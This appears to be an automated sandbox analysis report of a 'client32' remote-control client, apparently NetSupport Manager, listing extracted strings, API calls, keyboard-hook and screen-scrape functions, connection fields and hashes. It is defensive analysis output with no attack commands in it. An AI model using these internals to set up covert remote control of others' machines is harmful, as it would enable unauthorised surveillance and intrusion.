Client, xrefs: 1102E479, 1102E988, 1102EA15, 1102EA36, 1102EAA4, 1102EABC, 1102EAD4, 1102EAFE, 1102EB28, 1102EB5E, 1102EB93, 1102EBAB, 1102EBC3, 1102EBDB, 1102EBF3, 1102EC0B, 1102EC31, 1102EC49, 1102EC61, 1102EC79, 1102EC91, 1102ECA9, 1102ECC1, 1102ECD9, 1102EDEA, 1102F3D0, 1102F476, 1102F4BF, 1102F69A, 1102F6F1, 1102F70D, 1102F734, 1102F844, 1102F85F, 1102F880, 1102F971
EnableGradientCaptions, xrefs: 1102E880, 1102E897, 1102E8B8
928100, xrefs: 1102F52D, 1102F586, 1102F5C7, 1102F6A4
NSM.LIC, xrefs: 1102E4AD, 1102E54B
Audio, xrefs: 1102EA4E, 1102EE26
closed ok, xrefs: 1102E40E
Bridge, xrefs: 1102E46D
LSPloaded=%d, WFPloaded=%d, xrefs: 1102E96A
NSMWClassVista, xrefs: 1102E125
Windows 95, xrefs: 1102EE69
V12.00.2, xrefs: 1102F32C
UseIPC, xrefs: 1102F96C
AlwaysOnTop, xrefs: 1102F72F
View, xrefs: 1102E485, 1102E885, 1102E89C, 1102E8BD
OS2, xrefs: 1102EF0C
istaService, xrefs: 1102E08B
*PriorityClass, xrefs: 1102F708
*BeepUsingSpeaker, xrefs: 1102ED19
Intel error "%s", xrefs: 1102E6F8
Error. Could not load transports - perhaps another client is running, xrefs: 1102F603
AssertTimeout, xrefs: 1102E8D3
Info. Client running as user=%s, type=%d, xrefs: 1102E3D2
RestartAfterError, xrefs: 1102E9AA
V12.10.2, xrefs: 1102F333, 1102F367
Windows 2008, xrefs: 1102F0B5
NSSWControl32, xrefs: 1102FAC1
Windows 7, xrefs: 1102F118
DisableRequestHelp, xrefs: 1102EBBE, 1102EC5C
win8ui, xrefs: 1102E798
Session shutting down, exiting..., xrefs: 1102E17E
Windows 10 x64, xrefs: 1102F29C
Windows XP x64, xrefs: 1102EFDE
Windows CE, xrefs: 1102F2FE
UseNTSecurity, xrefs: 1102F85A
NoFTWhenLoggedOff, xrefs: 1102ECBC
Windows XP, xrefs: 1102EF88
Error. Wrong hardware. Terminating, xrefs: 1102E699
Windows 2000, xrefs: 1102EF5A
DisableAudioFilter, xrefs: 1102EA49, 1102EE21
EnableSmartcardAuth, xrefs: 1102F87B
*BeepSound, xrefs: 1102ED4C
hClientRunning = %x, pid=%d (x%x), xrefs: 1102E45A
NSMWControl32, xrefs: 1102FA92
Info. Trying to close client, xrefs: 1102E3E4
gClient.hNotifyEvent, xrefs: 1102E1BF
Windows Vista x64, xrefs: 1102F07C
Windows 10, xrefs: 1102F26C
DisableJournalMenu, xrefs: 1102EBEE, 1102EC8C
Windows 8.1 x64, xrefs: 1102F211
Ready, xrefs: 1102FB01
UseLegacyPrintCapture, xrefs: 1102EDE5
pcicl32, xrefs: 1102E304
Windows 2016, xrefs: 1102F2D3
DisableAudio, xrefs: 1102EA10, 1102EA31, 1102EA9F, 1102EC06, 1102ECA4
Windows 8 x64, xrefs: 1102F18F
DisableReplayMenu, xrefs: 1102EBA6, 1102EC44
TracePriv, xrefs: 1102F3A9
NSMWClass, xrefs: 1102E136, 1102E317, 1102E424, 1102F92F
ShowKBEnable, xrefs: 1102EB59
DisableConsoleClient, xrefs: 1102E9E0, 1102EA75
NeedsReinstall, xrefs: 1102E983
Windows 2012 R2, xrefs: 1102F23D
Windows 2003 x64, xrefs: 1102F017

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Message$Process$Create$CloseHandleWindow$EventPost$CriticalOpenSectionThreadwsprintf$CurrentCursorDestroyFileFindIconInitializeLoadObjectPeekSingleTokenVersionWait$ClassDispatchEnterEnvironmentErrorExitExpandLastMetricsPrioritySendSleepStringsSystem__wcstoi64_malloc_memset
String ID: *BeepSound$*BeepUsingSpeaker$*ListenPort$*PriorityClass$*ScreenScrape$*StartupDelay$928100$AlwaysOnTop$AssertTimeout$Audio$Bridge$CLIENT32.CPP$Client$Default$DisableAudio$DisableAudioFilter$DisableConsoleClient$DisableHelp$DisableJoinClass$DisableJournal$DisableJournalMenu$DisableReplayMenu$DisableRequestHelp$DisableRunplugin$DisableTSAdmin$EnableGradientCaptions$EnableSmartcardAuth$EnableSmartcardLogon$Error x%x reading nsm.lic, sesh=%d$Error. Could not load transports - perhaps another client is running$Error. Wrong hardware. Terminating$General$Global\NSMWClassAdmin$Info. Client already running, pid=%d (x%x)$Info. Client running as user=%s, type=%d$Info. Trying to close client$Intel error "%s"$IsILS returned %d, isvistaservice %d$LSPloaded=%d, WFPloaded=%d$MiniDumpType$NSA.LIC$NSM.LIC$NSMWClass$NSMWClassVista$NSMWControl32$NSSWControl32$NSTWControl32$NeedsReinstall$NoFTWhenLoggedOff$OS2$Ready$RestartAfterError$ScreenScrape$Session shutting down, exiting...$ShowKBEnable$TCPIP$TraceIPC$TracePriv$UseIPC$UseLegacyPrintCapture$UseNTSecurity$V12.00.2$V12.10.2$View$Windows 10$Windows 10 x64$Windows 2000$Windows 2003$Windows 2003 x64$Windows 2008$Windows 2008 x64$Windows 2012$Windows 2012 R2$Windows 2016$Windows 7$Windows 7 x64$Windows 8$Windows 8 x64$Windows 8.1$Windows 8.1 x64$Windows 95$Windows 98$Windows CE$Windows Ding.wav$Windows Millennium$Windows NT$Windows Vista$Windows Vista x64$Windows XP$Windows XP Ding.wav$Windows XP x64$_debug$_debug$cl32main$client32$closed ok$gClient.hNotifyEvent$hClientRunning = %x, pid=%d (x%x)$istaService$istaUI$pcicl32$win8ui
API String ID: 2246349635-2073688697
Opcode ID: 1f2cb30e9b1277d85f4bed1a39142fff4f0cdd012b5026a1e3b0eeab8cce4a16
Instruction ID: 3da73235ebc76f34cbc1f653a3fbd5303c3029eb94abecf5a91a15bf3235dc2a
Opcode Fuzzy Hash: 1f2cb30e9b1277d85f4bed1a39142fff4f0cdd012b5026a1e3b0eeab8cce4a16
Instruction Fuzzy Hash: 3BE20774F4122AABE715CBE5CC84FADFBA5AB4470CF504469E924B73C4EB706940CB62

Function 1102D560 Relevance: 82.9, APIs: 15, Strings: 32, Instructions: 630
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$session$, xrefs: 1102DD16
11/09/15 09:21:05 V12.10F2, xrefs: 1102DE1E
Trying to get mac addr for %u.%u.%u.%u, xrefs: 1102DA54
%sessionname%, xrefs: 1102DCE9, 1102DD02
Wtsapi32.dll, xrefs: 1102D98C
Warning: Unexpanded clientname=<%s>, xrefs: 1102DC53
TCPIP, xrefs: 1102D965
e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h, xrefs: 1102DCD4, 1102DD53
WTSFreeMemory, xrefs: 1102DAC1
ClientName, xrefs: 1102DB45
%s.%02d, xrefs: 1102DCB0
TSMode, xrefs: 1102D940
IsA(), xrefs: 1102DCD9, 1102DD58
client32.ini, xrefs: 1102D7B5
ts macaddr=%s, xrefs: 1102DA7C
client32 dbi %hs, xrefs: 1102DE23
screenscrape, xrefs: 1102D978
WTSQuerySessionInformationA, xrefs: 1102D9FE
MacAddress, xrefs: 1102DA8F
Client, xrefs: 1102D945, 1102D97D, 1102DA94
computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d, xrefs: 1102DE4A
multipoint=%d, softxpand=%d, pid=%d, xrefs: 1102DE70
NSMWClass, xrefs: 1102D744
%02d, xrefs: 1102DC98
DisableConsoleClient, xrefs: 1102D8C7
928100, xrefs: 1102DBA5, 1102DD6B, 1102DD8F, 1102DD9C, 1102DDCC, 1102DE41
NSM.LIC, xrefs: 1102D582
ListenPort, xrefs: 1102D960
client32, xrefs: 1102D885
Error x%x reading %s, sesh=%d, xrefs: 1102D811
, xrefs: 1102DB15
%session%, xrefs: 1102DD2A

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: _malloc_memsetwsprintf
String ID: $$session$$%02d$%s.%02d$%session%$%sessionname%$11/09/15 09:21:05 V12.10F2$928100$Client$ClientName$DisableConsoleClient$Error x%x reading %s, sesh=%d$IsA()$ListenPort$MacAddress$NSM.LIC$NSMWClass$TCPIP$TSMode$Trying to get mac addr for %u.%u.%u.%u$WTSFreeMemory$WTSQuerySessionInformationA$Warning: Unexpanded clientname=<%s>$Wtsapi32.dll$client32$client32 dbi %hs$client32.ini$computername=%s, clientname=%s, tsmode=%d, vui=%d, vsvc=%d$e:\nsmsrc\nsm\1210\1210f\ctl32\NSMString.h$multipoint=%d, softxpand=%d, pid=%d$screenscrape$ts macaddr=%s
API String ID: 3802068140-3020755014
Opcode ID: d7720bab3bbd1ee50e6f66fe716c0cfcb3e55d8a697f2165e27b90237ccc99ea
Instruction ID: d240301f554d32d3b7904e5f3cd70c9da08142028b12ad4ce6a05654279abd09
Opcode Fuzzy Hash: d7720bab3bbd1ee50e6f66fe716c0cfcb3e55d8a697f2165e27b90237ccc99ea
Instruction Fuzzy Hash: B132D675D0026A9FDB12DF94CC84BEDF7B9AB44308F8445E9E958A7280EB706E44CF61

Function 6C4E3D00 Relevance: 70.4, APIs: 11, Strings: 29, Instructions: 392
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 6C4E3D27

Strings

PORT=%d, xrefs: 6C4E3F68
CLIENT_NAME=%s, xrefs: 6C4E3F17
A3=%s, xrefs: 6C4E4163
*Gsk, xrefs: 6C4E3E24
TCPIP, xrefs: 6C4E3DCF, 6C4E3DDF
CLIENT_VERSION=1.0, xrefs: 6C4E3ED0
HOSTNAME=%s, xrefs: 6C4E3F9A
GSK=%s, xrefs: 6C4E3FCC
A1=%s, xrefs: 6C4E40AF
*Dept, xrefs: 6C4E41F4
CMD=OPEN, xrefs: 6C4E3EB9
CHATID, xrefs: 6C4E400A
CMPI=%u, xrefs: 6C4E3FEA
928100, xrefs: 6C4E3F0C
PROTOCOL_VER=%u.%u, xrefs: 6C4E3EEB
A4=%s, xrefs: 6C4E41BD
CLIENT_ADDR=%s, xrefs: 6C4E3F4A
CHATID=%s, xrefs: 6C4E4046
DEPT=%s, xrefs: 6C4E420C
Port, xrefs: 6C4E3DCA
APPTYPE=%d, xrefs: 6C4E41DD
connection_index == 0, xrefs: 6C4E3D7A
e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c, xrefs: 6C4E3D75
MAXPACKET=%d, xrefs: 6C4E3F01
ListenPort, xrefs: 6C4E3DDA
engineer, xrefs: 6C4E4297
1.1, xrefs: 6C4E3E02
client247, xrefs: 6C4E400F, 6C4E406B, 6C4E40D1, 6C4E412B, 6C4E4185
A2=%s, xrefs: 6C4E4109

Memory Dump Source

Source File: 00000007.00000002.4615852637.000000006C4D1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 6C4D0000, based on PE: true

Associated: 00000007.00000002.4615833701.000000006C4D0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615887616.000000006C510000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615911786.000000006C519000.00000008.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615930874.000000006C51E000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000007.00000002.4615968778.000000006C520000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6c4d0000_client32.jbxd

Yara matches

Similarity

API ID: _memset
String ID: *Dept$*Gsk$1.1$928100$A1=%s$A2=%s$A3=%s$A4=%s$APPTYPE=%d$CHATID$CHATID=%s$CLIENT_ADDR=%s$CLIENT_NAME=%s$CLIENT_VERSION=1.0$CMD=OPEN$CMPI=%u$DEPT=%s$GSK=%s$HOSTNAME=%s$ListenPort$MAXPACKET=%d$PORT=%d$PROTOCOL_VER=%u.%u$Port$TCPIP$client247$connection_index == 0$e:\nsmsrc\nsm\1210\1210f\ctl32\htctl.c$user
API String ID: 2102423945-4260321812
Opcode ID: 71c11d5848923fa0782e79faf6cec2df9db1612f894fa413f2c1ac0cd4a6032e
Instruction ID: eec12da5e4f082bb472d8ab0cd766c9666501f7d0acdbd5b68a74a4e43008291
Opcode Fuzzy Hash: 71c11d5848923fa0782e79faf6cec2df9db1612f894fa413f2c1ac0cd4a6032e
Instruction Fuzzy Hash: 41E1D3B2D0411C6ADB21EB609C94FEF7778DF49216F0145DDE50963A41DB34AB888FE1

Function 1113F910 Relevance: 66.6, APIs: 20, Strings: 18, Instructions: 134
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleFileNameA.KERNEL32(00000000,?,00000104,00000000,8504C483,762323A0), ref: 1113F943
LoadLibraryA.KERNEL32(?), ref: 1113F98C
LoadLibraryA.KERNEL32(DBGHELP.DLL), ref: 1113F9A5
LoadLibraryA.KERNEL32(IMAGEHLP.DLL), ref: 1113F9B4
GetModuleHandleA.KERNEL32(?), ref: 1113F9BA
GetProcAddress.KERNEL32(00000000,SymGetLineFromAddr), ref: 1113F9CE
GetProcAddress.KERNEL32(00000000,SymGetLineFromName), ref: 1113F9ED
GetProcAddress.KERNEL32(00000000,SymGetLineNext), ref: 1113F9F8
GetProcAddress.KERNEL32(00000000,SymGetLinePrev), ref: 1113FA03
GetProcAddress.KERNEL32(00000000,SymMatchFileName), ref: 1113FA0E
GetProcAddress.KERNEL32(00000000,StackWalk), ref: 1113FA19
GetProcAddress.KERNEL32(00000000,SymCleanup), ref: 1113FA24
GetProcAddress.KERNEL32(00000000,SymLoadModule), ref: 1113FA2F
GetProcAddress.KERNEL32(00000000,SymInitialize), ref: 1113FA3A
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 1113FA45
GetProcAddress.KERNEL32(00000000,SymSetOptions), ref: 1113FA50
GetProcAddress.KERNEL32(00000000,SymGetModuleInfo), ref: 1113FA5B
GetProcAddress.KERNEL32(00000000,SymGetSymFromAddr), ref: 1113FA66
GetProcAddress.KERNEL32(00000000,SymFunctionTableAccess), ref: 1113FA71
GetProcAddress.KERNEL32(00000000,MiniDumpWriteDump), ref: 1113FA7C

Part of subcall function 11080C50: _strrchr.LIBCMT ref: 11080C5E

Strings

StackWalk, xrefs: 1113FA13
DBGHELP.DLL, xrefs: 1113F99F, 1113F9A4
SymGetOptions, xrefs: 1113FA3C
SymMatchFileName, xrefs: 1113FA05
SymInitialize, xrefs: 1113FA31
SymLoadModule, xrefs: 1113FA26
SymGetLineNext, xrefs: 1113F9EF
SymCleanup, xrefs: 1113FA1B
SymGetLinePrev, xrefs: 1113F9FA
dbghelp.dll, xrefs: 1113F968
SymGetSymFromAddr, xrefs: 1113FA5D
SymGetLineFromName, xrefs: 1113F9E7
IMAGEHLP.DLL, xrefs: 1113F9AE, 1113F9B3, 1113F9B9
SymSetOptions, xrefs: 1113FA47
SymGetLineFromAddr, xrefs: 1113F9C8
MiniDumpWriteDump, xrefs: 1113FA73
SymFunctionTableAccess, xrefs: 1113FA68
SymGetModuleInfo, xrefs: 1113FA52

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad$Module$FileHandleName_strrchr
String ID: DBGHELP.DLL$IMAGEHLP.DLL$MiniDumpWriteDump$StackWalk$SymCleanup$SymFunctionTableAccess$SymGetLineFromAddr$SymGetLineFromName$SymGetLineNext$SymGetLinePrev$SymGetModuleInfo$SymGetOptions$SymGetSymFromAddr$SymInitialize$SymLoadModule$SymMatchFileName$SymSetOptions$dbghelp.dll
API String ID: 3874234733-2061581830
Opcode ID: 0d80334d7c54e61a641bd670e0b6889b788af16b3c4035bc4294169387cf03f4
Instruction ID: 03bc80c6e1c07a71d5d8a66c4dad401031422a7b888a3ea25cbafadc1b364b9a
Opcode Fuzzy Hash: 0d80334d7c54e61a641bd670e0b6889b788af16b3c4035bc4294169387cf03f4
Instruction Fuzzy Hash: 59415270A00B05AFE7209F7A8C84A6BF7F8FF59754B04492EE485D3690E774E8408B5D

Function 110A8D50 Relevance: 56.2, APIs: 27, Strings: 5, Instructions: 236
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNEL32(setupapi.dll,8F98CBB2,?,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,11180D08), ref: 110A8D83
GetProcAddress.KERNEL32(00000000,SetupDiGetClassDevsA), ref: 110A8DA7
SetupDiGetClassDevsA.SETUPAPI(111A2B7C,00000000,00000000,00000012,?,?,?,?,?,?,?,?,?,00000000,11180D08,000000FF), ref: 110A8DC1
GetProcAddress.KERNEL32(00000000,SetupDiEnumDeviceInterfaces), ref: 110A8DEC
_free.LIBCMT ref: 110A8E20
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A8E32
GetLastError.KERNEL32 ref: 110A8E5D
_malloc.LIBCMT ref: 110A8E73
GetProcAddress.KERNEL32(00000000,SetupDiGetDeviceInterfaceDetailA), ref: 110A8E95
SetLastError.KERNEL32(00000078,?,?,?,?,?,?,?,?,?,00000000,11180D08,000000FF,?,1102EB51,Client), ref: 110A8EC7
SetLastError.KERNEL32(00000078), ref: 110A8EDB
GetLastError.KERNEL32 ref: 110A8EE1
_free.LIBCMT ref: 110A8EF3
SetLastError.KERNEL32(00000078), ref: 110A8F04
SetLastError.KERNEL32(00000078), ref: 110A8F11
_free.LIBCMT ref: 110A8F24
FreeLibrary.KERNEL32(?,?), ref: 110A8F34
FreeLibrary.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000,11180D08,000000FF,?,1102EB51,Client), ref: 110A8FD8

Strings

SetupDiEnumDeviceInterfaces, xrefs: 110A8DE6
SetupDiGetDeviceInterfaceDetailA, xrefs: 110A8E2C, 110A8E8F
SetupDiGetClassDevsA, xrefs: 110A8D9B
setupapi.dll, xrefs: 110A8D7B
SetupDiDestroyDeviceInfoList, xrefs: 110A8F80

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: ErrorLast$AddressProc$Library_free$Free$ClassDevsLoadSetup_malloc
String ID: SetupDiDestroyDeviceInfoList$SetupDiEnumDeviceInterfaces$SetupDiGetClassDevsA$SetupDiGetDeviceInterfaceDetailA$setupapi.dll
API String ID: 3464732724-3340099623
Opcode ID: 069873096ddd9361f6eeb4902aec842f7b46e49037b89b8f0a59924a4b05439d
Instruction ID: 13ce22c0bc51d0122121316869039189ab66259e4c26e708d49ea6b208d95f03
Opcode Fuzzy Hash: 069873096ddd9361f6eeb4902aec842f7b46e49037b89b8f0a59924a4b05439d
Instruction Fuzzy Hash: FA8173B5D00216ABD701DFE4EC88F9EFBB9EF45705F10452AFA11E6284EB349A05CB61

Function 1113D810 Relevance: 52.8, APIs: 14, Strings: 16, Instructions: 266
libraryloaderregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(00000000,SetProcessDPIAware), ref: 1113D8A4
SetLastError.KERNEL32(00000078), ref: 1113D8B3
FreeLibrary.KERNEL32(00000000), ref: 1113D8C5
LoadLibraryA.KERNEL32(imm32,?,?,00000002,00000000), ref: 1113D904
GetClassInfoExA.USER32(11000000,NSMWClass,?), ref: 1113D969
_memset.LIBCMT ref: 1113D97D
LoadCursorA.USER32(00000000,00007F00), ref: 1113D9CF
GetStockObject.GDI32(00000000), ref: 1113D9DA
LoadLibraryA.KERNEL32(pcihooks,?,?,00000002,00000000), ref: 1113DA92
GetProcAddress.KERNEL32(00000000,HookKeyboard), ref: 1113DAA7
RegisterClassExA.USER32(?), ref: 1113D9F5

Part of subcall function 1105D350: __wcstoi64.LIBCMT ref: 1105D38D

SetTimer.USER32(00000000,00000000,000003E8,11139580), ref: 1113DBD4
#17.COMCTL32(?,?,?,00000002,00000000), ref: 1113DC09
LoadLibraryA.KERNEL32(riched32.dll,?,?,?,00000002,00000000), ref: 1113DC14

Part of subcall function 11015E40: LoadLibraryA.KERNEL32(User32.dll,?,1111FB09,?), ref: 11015E48

Strings

*DisableDPIAware, xrefs: 1113D865
UI.CPP, xrefs: 1113D9A6, 1113DA07
_License, xrefs: 1113D936
*quiet, xrefs: 1113D931
_debug, xrefs: 1113DB00
riched32.dll, xrefs: 1113DC0F
pcihooks, xrefs: 1113DA8D
imm32, xrefs: 1113D8FA
View, xrefs: 1113DADE
Client, xrefs: 1113D86A
TraceCopyData, xrefs: 1113DAFB
HookKeyboard, xrefs: 1113DAA1
NSMGetAppIcon(), xrefs: 1113D9AB
NSMWClass, xrefs: 1113D95B, 1113D9EE
InitUI (%d), xrefs: 1113D83B
SetProcessDPIAware, xrefs: 1113D89E

Memory Dump Source

Source File: 00000007.00000002.4615257184.0000000011001000.00000020.00000001.01000000.00000009.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.4615227588.0000000011000000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615463398.000000001118F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615503145.00000000111DC000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615524689.00000000111EB000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000111F1000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011257000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001127C000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011283000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.000000001128A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011297000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112A7000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112AD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.00000000112D9000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000007.00000002.4615544500.0000000011325000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad$AddressClassProc$CursorErrorFreeInfoLastObjectRegisterStockTimer__wcstoi64_memset
String ID: *DisableDPIAware$*quiet$Client$HookKeyboard$InitUI (%d)$NSMGetAppIcon()$NSMWClass$SetProcessDPIAware$TraceCopyData$UI.CPP$View$_License$_debug$imm32$pcihooks$riched32.dll
API String ID: 2794364348-3534351892
Opcode ID: f6c0189acb31c1f1ae04f41da700453426e3c34268665065e683f75f417f0d65
Instruction ID: bd2c2121c20740d49df012e20f12643f76ddf7931093b471b6ff1ffd869ac82c
Opcode Fuzzy Hash: f6c0189acb31c1f1ae04f41da700453426e3c34268665065e683f75f417f0d65
Instruction Fuzzy Hash: 77B1C674E112169FEB02DFE1CD84B6DFBB0BB4471EF904139E925A6288EB746044CB66

Function 11130E10 Relevance: 51.0, APIs: 16, Strings: 13, Instructions: 278
libraryloadertimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

